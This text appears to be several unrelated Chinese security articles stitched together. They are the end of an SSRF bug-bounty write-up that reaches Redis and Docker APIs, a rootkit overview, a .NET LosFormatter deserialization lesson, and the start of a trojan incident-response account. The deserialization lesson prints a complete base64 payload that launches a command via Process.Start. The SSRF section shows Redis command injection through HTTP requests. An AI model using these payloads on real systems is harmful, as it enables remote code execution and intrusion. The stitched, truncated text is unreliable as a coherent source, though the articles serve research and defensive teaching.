docker_api = 'http://%s:%d' % (docker_host, docker_port)
test_get(splash_api, docker_api)
运行后 redis 发出了警告 (高版本的新功能)
24089:M 11 Jul 23:29:07.730 - Accepted 172.17.0.2:56886
24089:M 11 Jul 23:29:07.730 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
但是执行了
172.16.10.74:6379> config get dir
1) "dir"
2) "/root"
后来又测试了一下 post body，发现 body 还没发出去，连接就被强制断开了，所以无法利用
这里用 nc 来看一下发送的数据包
root@test:/home/user/Desktop# nc -vv -l -p 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [172.17.0.2] port 5555 [tcp/*] accepted (family 2, sport 38384)
GET / HTTP/1.1
config set dir /root
:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) splash Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 172.16.10.74:5555
可以看到 config set dir /root，说明可以利用
其他的话，因为支持post，也可以结合一些内网系统进行利用，这里就不细说了
**0x 04 修复方案**
对于splash，看了下文档，没有提到认证说明，应该是应用本身就没有这个功能，所以得自己加认证，临时方案可以用 basic
认证，彻底修复的话还是得自己修改代码，加上认证功能
这里的 docker remote api，应该是因为旧版本的 swarm 开放的，根据 文档 中 step 3，每个 node 都会开放 2375 或者
2376 端口，通过 iptables 来限制的话，需要配置 client node 的端口只允许 manager 访问，manager 的端口需要加白名单
**0x 05 Timeline**
2017-07-05 02:00:00 提交漏洞，报告内容为存在带回显 SSRF
2017-07-05 10:07:28 深入后成功获取内网服务器root权限 (可获取多台服务器root权限，并可拉取和push
docker仓库image，仓库中有如 api-xxx、xxx.com 名称的 image )，联系审核人员，提交补充后的报告
2017-07-06 18:15:00
联系审核人员，询问进度，告知已复现。因为之前相同危害漏洞评级为严重，所以询问此漏洞是否属于严重漏洞，告知金币兑换比例提升后( 5:1 提升为 1:1
)，严重漏洞评定收紧，明天审核
2017-07-07 14:31:00
审核人员告知复现时，获取内网权限步骤遇到问题，要求提供更多细节，因为之前笔记笔记乱，回复晚些整理后再发送，顺带询问评级，答复获取到权限的服务器不属于核心服务器，并且内部对评为
一般业务高危 还是 一般业务严重 存在分歧，对应金币奖励为 800 和 1000，正好赶上三倍活动，也就是 2400 –
3000。这里算了一下，按照奖励提升之前的评级规则，相同危害的漏洞是评为核心严重的，对应奖励为 5000现金 + 3000 积分
(兑换比例5:1)，这里相同危害，奖励提升后，再加上三倍金币活动，比之前的奖励还低一些，所以觉得不合理，因赶上周五和其他一些事情，商量下周一给评级
2017-07-10 10:16:00 联系审核人员，因为两边对于评级意见不一致，询问是否能够给予授权，继续深入，尝试证明可获取到 “核心服务器”
权限，回复没有给予授权，并告知可以判定为非核心严重级别，询问是否能够接受，回复不能接受，并给出理由
2017-07-12 10:08:00 联系审核人员，提供获取反弹shell EXP，并告知会写文章，希望尽快确认并修复，最终给予评级 严重非核心
，1500 积分，4500 金币(三倍活动) | 社区文章 |
**作者：深信服千里目安全实验室**
**相关阅读：
1、[【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑](https://paper.seebug.org/1867/ "【Rootkit
系列研究】序章：悬顶的达摩克利斯之剑")
2、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://paper.seebug.org/1868/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁")
3、[【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/
"【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁")
4、[【Rootkit 系列研究】Rootkit检测技术发展现状](https://paper.seebug.org/1871/
"【Rootkit系列研究】Rootkit检测技术发展现状")
5、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）](https://paper.seebug.org/1872/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）")**
## 序言
APT，全称Advanced Persistent
Threat，又名高级持续性威胁，往往有地区或政治背景，以情报搜集、破坏、或经济利益为目的，攻击环节可能使用各类社工、打点和内网渗透以及0day漏洞利用，作为一种非对称的攻击手段，往往能为攻击组织背后的政治或经济实体带来意想不到的地缘、情报、经济甚至军事利益或战术优势。
APT攻击的检测、溯源与反制，往往代表了一个国家、一个组织最高级的网络安全实战能力。而如何应对APT攻击，减少所在组织或国家的情报损失，并提升网络安全优势，就成为头部网络安全企业必须考虑的问题。
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
Rootkit 系列文章将围绕 Rootkit 的技术栈和运用场景，从攻防两个视角对其危害性和检测思路展开分析。
《序章：悬顶的达摩克利斯之剑》将着重介绍 Rootkit 技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想，开启 Rootkit
系列篇章。
## 1.平静中暗藏危机
Rootkit 不是最常见的恶意软件类型。
根据 Bitdefender White Paper Rootkit CREAT3432[1]报告所述，Rootkit 占检测到的 **恶意软件总数不到
1%** 。
由于 Rootkit 开发的复杂性，Rootkit 并不经常使用。尽管操作系统中引入了针对 Rootkit 保护机制，但 Rootkit 仍然可以
**长期隐藏设备上，进行恶意活动** 。
因此 Rootkit 被业内公认是 **最难检测的隐藏手段** 。
**Rootkit 常常用于高质量的APT攻击** 。APT攻击具有较强的持续性特点，这需要建立在不被发现的基础之上，APT组织可以通过 Rootkit
在目标网络中潜伏几个月甚至几年之久， **长期监控并窃取庞大的情报数据** 。
**Rootkit 如同高悬在我们头顶的达摩克利斯之剑** ，平静祥和的背后，却是 **无尽的危险与杀机** 。
## 2.何为Rootkit
Rootkit 是一种特殊的程序(或一组程序)，通常与木马、后门等其他恶意程序结合使用。
Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动，达到 **高隐藏高持久化** 目的。
Rootkit 一般具有多种功能，例如：
**获得远程访问**
Rootkit 提供对操作系统的远程访问权限并具备检测规避能力。
**窃取数据**
大多数情况下，攻击者使用 Rootkit
窃取数据。黑客以个人或公司为目标，获取敏感个人信息数据，以进行相关黑产活动。APT组织针对特定目标，以从事间谍活动或金融犯罪活动。
**各类隐藏功能**
Rootkit 实现隐藏文件、进程、端口、网络连接、驱动、内核模块等功能，将自身和其他类型的恶意软件隐藏在设备中，使删除它们变得更加困难。
**创建“永久“的 root 权限后门**
一些 Rootkit 可以在设备中创建一个 root 权限的后门，攻击者可以通过发送精心构造的数据包来触发后门连接并控制设备。
**隐私监控**
使用 Rootkit，攻击者可以拦截网络流量、监控键盘击键、控制用户操作。
**劫持或关闭安全程序**
某些 Rootkit 可以将自己隐藏在设备的安全检测程序中，或者将其完全关闭 ，从而难以检测和删除恶意软件。
**根据 Rootkit 运行时权限级别划分分为：**
**（1）内核态Rootkit**
内核态 Rootkit 具有与操作系统相同的权限，在内核级别运行，通常作为设备驱动程序或可加载模块加载到目标设备中。
内核态 Rootkit 很难开发，因为源代码中的任何错误都会影响目标系统的稳定性，这将是发现恶意程序的最直接表现。
**（2）用户态 Rootkit**
用户态 Rootkit 以与大多数应用程序具有相同的运行权限。它们可以拦截系统调用并替换 API 或劫持应用程序返回的值，以获得对设备的控制。
用户态 Rootkit 所需的前置知识和复杂度，与内核态Rootkit相比更简单，更容易开发，因此常用于大范围攻击。
## 3.Rootkit 发展历久弥新
90年代初期，Rootkit 用于攻击 Unix 系统以获得最大权限并以 root 用户身份执行命令，因此得名。直到 1999 年，Greg
Hoglund在Phrack上首次发表了专门为Windows 操作系统设计的 NTRootkit[2]。后来，也出现了可用于攻击 macOS、Android
的 Rootkit。
Rootkit 技术 **由来已久** ，发展 **历久弥新** ，呈现从 **简单到复杂** 、 **高层向低层** 的演化趋势。
无论是哪种平台下的 Rootkit ，其技术演化的 **核心思想都是劫持** 。安全研究员围绕着 **劫持对象和劫持方式**
，产生出了非常多的底层Rootkit技术。
不同平台下的 Rootkit ，按照 **劫持对象** 和 **劫持技术** 复杂度的不同，可将 Rootkit 技术大致分为以下几种。
在Windows平台下：
* 劫持指令执行流程
* 直接修改内核对象
* 内存视图伪装
* 虚拟Rootkit
* 硬件Rootkit
在 Linux 平台下：
* 直接替换系统命令二进制程序
* 修改LD_PRELOAD劫持共享库
* 重定位目标文件注入
* 劫持VDSO
* 虚拟文件系统劫持
* Kprobe
* Netfillter Hook
* 篡改派遣例程劫持系统调用
* 设置函数蹦床劫持内核函数执行流程
* 创建新的命名空间
如图 1所示，近二十年 Rootkit 演化发展时间轴(Rootkit开源或热门实例)。
图1 近二十年部分Rootkit出现时间轴
目前，技术是向更加底层的方向发展。然而，根据近十年 **已发现** 的 Rootkit 攻击事件，使用用户态Rootkit
却是一个趋势。例如，2010年以后，ZeroAccess Rootkit[3] 的开发人员已经转向使用用户态Rootkit。
近十年用户态 Rootkit 使用趋势上升可能由于以下几个原因：
* 内核态 Rootkit 需要针对不同系统内核版本进行开发和调试，因此大多数攻击者可能 **没有足够的技术能力** ，从而选择 **更简单** 的攻击方式。
* 开发和调试 Rootkit 需要 **花费大量时间成本** ，大多数攻击者希望 **低成本快速部署攻击** 。
* 内核态 Rootkit 存在 **不稳定性** ，源代码中的任何错误都可能导致操作系统BSOD或者Kernel Panic，这将直接 **暴露入侵行为** 。
* **幸存者偏差** ，用户态 Rootkit 更适合大范围的攻击，由于攻击范围扩大，其相较于内核态 Rootkit执行性时的痕迹 **更容易被检测** ，导致从结果上看，使用用户态 Rootkit 呈现上升趋势。
实际上，不仅是安全研究员研究对抗Rootkit，操作系统提供商也在积极与 Rootkit 作斗争。例如，Windows 10
操作系统提供了一系列驱动程序检测来对抗 Rootkit。
所谓 **道高一尺魔高一丈** ，攻击者也在开发绕过 Rootkit 防御机制的技术。例如，新的Moriya Rootkit[4]已经提供了
**绕过驱动程序检查** 和 **PatchGuard 强制签名** 的功能。
甚至攻击者开始向 **硬件设备** 中 **注入 Rootkit 模块。**
Amnpardaz的恶意软件分析团队首次在 HP iLO设备中发现 Rootkit —— iLOBleed [5]。
HP iLO 设备带有自己的处理器单元、存储空间、RAM 和网卡，并且独立于任何本地操作系统运行。
它们的主要 **作用** 是为 **系统管理员** 提供一种 **连接远程系统** 的方法，即使 **系统处于关闭状态** 下，也可以 **执行维护操作**
，例如 **更新固件** 、 **安装安全更新** 或 **重新安装系统** 等。
iLOBleed 向iLO设备固件中添加了一个名为Implant.ARM.iLOBleed.a的恶意模块，并进行隐藏恶意活动和持久化操作。
攻击者通过更改多个原始固件模块方式，实现劫持 iLO 和服务器之间的消息交换通道，绕过固件正常更新过程，劫持管理 Web 界面以显示无效的 iLO
软件版本信息，鸡翅服务器事件日志模块以防止记录恶意软件的操作，修改 iLO 操作系统的多线程内核等功能， **达到高隐藏目的** 。
攻击者通过逆向分析提取 bootloader.bin、kernel.bin 和 ELF.bin
三个主要部分后，查找在引导加载程序和内核中执行签名验证操作的函数的地址，并将它们替换为 NOP 命令。最后，将修改后的文件组合在一起形成一个完整的 HP
Image 文件，并作为新固件写入 SPI 闪存， **达到高持久化目的** 。
iLOBleed 在 **伪装完成更新** 的同时，默默地 **阻止固件更新** 。它还提供对服务器硬件的访问， **定期** 执行 **数据销毁操作**
。
Rootkit 技术在攻防两端的持续对抗下，不断发展。即使开发Rootkit需要对目标操作系统、逆向和编程有很高要求，其开发过程也是困难重重，但新的
Rootkit 还是会定期出现。
## 4.隐匿于Rootkit背后的影子
**内核级别的Rootkit难以开发，那么谁还坚持使用它们？**
**答案很明确：** 即具有足够技术和财力支持的战略性组织，这些组织通常会不计成本地进行 **经济犯罪、破坏基础设施** 或 **窃取数据** 。
DirtyMoe 僵尸网络[6]、H2Miner 组织[7]利用Rootkit进行持久化并隐藏挖矿模块，掩盖挖矿行为和其他恶意活动，将 Rootkit
技术直接用于 **经济犯罪** 。
Rootkit 在攻击中的使用最著名的事件莫过于 2010 年震网攻击事件（Stuxnet），攻击者使用 Stuxnet
秘密收集数据并将恶意文件文件下载到受感染机器。攻击的主要目的是阻止伊朗核系统的发展并实际 **破坏其基础设施** 。
由于Rootkit 相关开发的各种困难性与其应用场景，它们最常被 APT 组织使用。这一级别的攻击者的主要动机是 **窃取数据** 和
**从事网络间谍活动** 。
例如，攻击者使用Flame Rootkit[8]跟踪受害者的网络流量、执行键盘记录功能并截取屏幕截图。
APT 组织Strider（也称为 ProjectSauron，或
G0041），其主要目标是俄罗斯、比利时、伊朗、瑞典和卢旺达等政府。在对政府机构的攻击中，使用了Remsec
Rootkit[9]，用于窃取加密密钥、配置文件，并收集加密密钥基础设施服务器的 IP 地址。
Kaspersky研究人员发现了TunnelSnake行动[10]，这是一起 **高级持续性威胁（APT）攻击** 活动。TunnelSnake至少从
2018 年开始，利用Moriya Rootkit[11]有针对性的从事网络间谍活动。目标包括东南亚和非洲的两个外交组织。Moriya Rootkit
绕过Windows 系统驱动程序检查和 PatchGuard
模块的强制签名验证，为攻击者提供远程访问权限、拦截网络流量、下载和运行下攻击阶段的恶意代码、隐藏向受感染主机发出的恶意命令。这导致攻击者秘密控制了目标的网络长达数月之久。
根据Positive Technologies研究[12]发现，最常见的目标是政府和研究机构，77%的Rootkit被攻击者用于 **收集数据等间谍目的**
。
44%的攻击针对政府部门，38%的攻击针对科研单位。这些机构的数据对攻击者往往具有重要价值。除此之外，电信、制造业、金融机构也是名列前茅。而56%的攻击被犯罪分子用来针对个人，包括高级官员、外交官等。而在动机方面，31%是出于经济利益，只有15%的攻击，试图利用受害者的基础设施进行后续攻击。
图2 受Rootkit攻击最多的5个行业[13]
Rootkit将继续被APT组织使用，这意味着它不再只是为了破坏数据和获取经济利益，而是为了隐藏复杂的有针对性的攻击，这些攻击可能会给组织带来不可估量的损失。
综上所述，Rootkit 是非常 **危险** 并且造成的 **损失难以评估** ，原因是：
* Rootkit 为攻击者提供 **系统权限** ；
* Rootkit 使 **检测恶意活动** 变得更加 **困难** ；
* Rootkit 很难被发现和清除在某些情况下 **无法移除Rootkit** ，必须升级受感染的硬件；
* Rootkit **窃取数据** 带来的经济 **损失难以评估** ；
* 目标设备存在内核态 Rootkit 通常表明，可能被一个准备充分的 **高水平组织** 发起的有 **针对性的攻击** ，这意味着虽然攻击未被检测到，但目标的基础设施可能处于攻击者的完全控制之下并 **潜伏多年** 。
## 5.Rootkit的阿喀琉斯之踵
罗卡交换定律：“ **凡两个物体接触，必会产生转移现象**
”。其定律原本用于犯罪现场调查中，行为人（犯罪嫌疑人）必然会带走一些东西，亦会留下一些东西。即现场必会留下微量迹证。
罗卡交换定律衍生到计算机取证调查领域来说就是—— **当攻击者试图进行检测规避时，也产生了其他可以被检测的新特征** 。
所以高隐藏高持久化 Rootkit 并不是不可检测的。
其 Rootkit 技术本身，就存在 **阿喀琉斯之踵——隐藏永远是相对用户而言。**
攻击者使用Rootkit最关键的地方在于实现其所需功能的前提条件下，尽可能隐藏自身，实现所需功能意味着 Rootkit
必须要与系统进行交互，这说明Rootkit 运行过程中的数据， **必然是符合操作系统需求的数据结构** 。
技术不分好坏，只是看被谁利用，在攻击方利用Rootkit谋坏事之际，防守方也可以利用 Rootkit 发现攻击方的蛛丝马迹。
发现 Rootkit **植入后的异常** ，往往实时地 **处置异常** ，不是第一考虑的要素，因为目标设备存在Rootkit
，通常表明可能正在被一个准备充分的 **高水平APT组织** 发起的有 **针对性的攻击。一旦成为 APT 的目标，“他们”会继续回来，达到最终目的。**
此时， **安全分析师** 介入 **调查并取证溯源是最为重要的** ，定位 **数据泄漏范围** 以及 **攻击者信息** ，保护重要业务
**数据不再泄漏。**
**悬顶的达摩克里斯之剑还未真正落下** ，在 Rootkit 领域的攻防对抗中，就是较量攻防双方 **谁更了解操作系统，谁掌握的更深，谁就更占据优势**
。相信未来 Rootkit 技术还会向更加深远的领域不断前进。
To be continued ……
## 参考链接
[1]
<https://download.bitdefender.com/resources/files/News/CaseStudies/study/253/Bitdefender-Whitepaper-RootKit-CREAT3432-en-EN.pdf>
[2] <http://phrack.org/issues/55/5.html>
[3] <https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-Rootkit-usermode/>
[4] <https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/>
[5] <https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/>
[6] <https://securityintelligence.com/news/dirtymoe-botnet-returns-undetectable-threat-profile/>
[7] <https://attack.mitre.org/software/S0143/>
[8] <https://securelist.com/faq-the-projectsauron-apt/75533/>
[9] <https://www.kaspersky.com.cn/about/press-releases/2021_operation-tunnelsnake-formerly-unknown-rootkit-used-to-secretly-control-networks-of-organizations-in-asia-and-africa-cn>
[10] <https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/>
[11] <https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/>
[12] <https://www.ptsecurity.com/ww-en/analytics/Rootkits-evolution-and-detection-methods/>
[13] <https://mp.weixin.qq.com/s/Rp-QIaLp_6gitUor2IIcAQ>
* * * | 社区文章 |
**原文来自安全客，作者：Ivan1ee@360云影实验室
原文链接：<https://www.anquanke.com/post/id/176786>**
相关阅读：
* [《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》](https://paper.seebug.org/837/ "《.NET 高级代码审计（第一课）XmlSerializer 反序列化漏洞》")
* [《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》](https://paper.seebug.org/843/ "《.NET 高级代码审计（第二课） Json.Net 反序列化漏洞》")
* [《.NET高级代码审计（第三课）Fastjson反序列化漏洞》](https://paper.seebug.org/849/ "《.NET高级代码审计（第三课）Fastjson反序列化漏洞》")
* [《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》](https://paper.seebug.org/865/ "《.NET高级代码审计（第四课） JavaScriptSerializer 反序列化漏洞》")
* [《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》](https://paper.seebug.org/881/ "《.NET高级代码审计（第五课） .NET Remoting反序列化漏洞》")
* [《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》](https://paper.seebug.org/882/ "《.NET高级代码审计（第六课） DataContractSerializer反序列化漏洞》")
* [《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》](https://paper.seebug.org/890/ "《.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞》")
* [《.NET高级代码审计（第八课）SoapFormatter反序列化漏洞》](https://paper.seebug.org/891/ "《.NET高级代码审计（第八课）SoapFormatter反序列化漏洞》")
* [《.NET高级代码审计（第九课） BinaryFormatter反序列化漏洞》](https://paper.seebug.org/901/ "《.NET高级代码审计（第九课） BinaryFormatter反序列化漏洞》")
* [《.NET高级代码审计（第十课） ObjectStateFormatter反序列化漏洞》](https://paper.seebug.org/902/ "《.NET高级代码审计（第十课） ObjectStateFormatter反序列化漏洞》")
### 0x00 前言
LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState)，如果要把ViewState
通过数据库或其他持久化设备来维持，则需要采用特定的 LosFormatter
类来序列化/反序列化。它封装在System.Web.dll中，位于命名空间System.Web.UI下，微软官方的阐述是有限的对象序列化（LOS）格式专门为高度精简的ASCII格式序列化，此类支持序列化的任何对象图。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
### 0x01 LosFormatter序列化
LosFormatter类通常用于对ViewState页面状态视图的序列化，看下面实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
常规下使用Serialize得到序列化后的文件内容是Base64编码的
/wEypgEAAQAAAP////8BAAAAAAAAAAwCAAAAPldwZkFwcDEsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAARV3BmQXBwMS5UZXN0Q2xhc3MDAAAACWNsYXNzbmFtZQRuYW1lA2FnZQEBAAgCAAAABgMAAAADMzYwBgQAAAAHSXZhbjFlZRIAAAAL
### 0x02 LosFormatter反序列化
#### 2.1、反序列化用法
反序列过程是将Base64编码数据转换为对象，通过创建一个新对象的方式调用Deserialize方法实现的，查看定义如下
笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
反序列化后得到TestClass类的成员Name的值。
#### 2.2、攻击向量—ActivitySurrogateSelector
由于之前已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第八课）
SoapFormatter反序列化漏洞》，不同之处是用了LosFormatter类序列化数据，同样也是通过重写ISerializationSurrogate
调用自定义代码得到序列化后的数据
按照惯例用LosFormatter类的Deserialize方法反序列化就可以成功触发计算器。
#### 2.3、攻击向量—PSObject
由于笔者的windows主机打过了CVE-2017-8565（Windows
PowerShell远程代码执行漏洞）的补丁，利用不成功，所以在这里不做深入探讨，有兴趣的朋友可以自行研究。有关于补丁的详细信息参考：
<https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability>
#### 2.4、攻击向量—MulticastDelegate
由于之前已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第七课）NetDataContractSerializer反序列化漏洞》
### 0x03 代码审计视角
#### 3.1、Deserialize
从代码审计的角度找到漏洞的EntryPoint，Deserialize有两个重载分别可反序列化Stream和字符串数据，其中字符串可以是原始的Raw也可以是文档中说的Base64字符串，两者在实际的反序列化都可以成功。
下面是不安全的代码：
攻击者只需要控制传入字符串参数Content便可轻松实现反序列化漏洞攻击，完整的Poc如下
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
最后附上动态图效果
### 0x04 总结
实际开发中LosFormatter
通常用在处理ViewState状态视图，同ObjectStateFormatter一样在反序列化二进制文件时要注意数据本身的安全性，否则就会产生反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/>、<https://ivan1ee.gitbook.io/>
，更多的.NET安全和技巧可关注笔者的github。
* * * | 社区文章 |
一、事件起因
客户向公司反映使用IDS设备捕获到木马上线域名需要处理，虽然是逆向岗但还是有预感未来应急响应的工作只会越来越多。所以作为新人的我选择了跟带头BOSS去现场学习，并且将自己参与应急响应中的工作和思路进行记录。
二、前置知识
1）动态域名解析
用户每一次上网时运营商都会随机分配一个IP地址。安装在用户主机里的动态域名软件会把这个IP地址发送到动态域名解析服务器。Internet上的主机要访问这个域名时动态域名解析服务器会返回当前用户主机IP地址给它。
这就叫动态域名解析。
2）木马类型
木马控制就是开启一个端口，双方主机建立网络连接成功后，传送控制命令实现控制受害者主机的目的。其中有两个概念：正向连接和反向连接。
正向连接：恶意程序在受害者的主机上监听个端口，而攻击者通过这个端口去连接受害者的主机。这要求受害者IP不变的情况下，才能够连接。
反向连接：在攻击者主机上监听个端口，然后由受害者主机来访问攻击者主机。就算受害者主机的IP怎么改变，也可以达到控制的目的。
3） 木马上线连接方式
当前木马为了增加隐蔽性和反追踪能力，上线方式会采用第三方域名进行通信。
被控制端首先访问动态域名，动态域名中指向控制端的真实IP。使被受害主机与攻击者主机连接，再由控制端发送控制命令。
常见上线方式：HTTP、FTP、DNS、第三方网站（Qzone、csdn等）、IP
上线的流程是被控端访问动态域名获取控制端主机真实IP，建立连接后控制端可向被控端发送控制命令。（被控端指的是受害者的主机，控制端指的是攻击者主机）
图1 木马上线简图
三、处理过程
经过与客户单位负责人沟通中得知这几个月IDS断断续续的时间里捕获到f33**88.3322.org这个域名,而这个域名被IDS设备报为木马动态域名。
但由于受攻击单位的主机是统一配置DNS服务器（10.0.0.13）进行解析上网的，所以IDS抓到的发包主机IP其实是DNS服务器的IP（10.0.0.13）。
期间因为攻击者的木马动态域名一直没有解析过，所以IDS无法查出到底是哪台主机中了木马。
图2 木马动态域名无法解析
客户单位负责人希望我们能够定位到内网中毒的主机IP，还有对木马的行为做分析，确定业务受影响的情况。
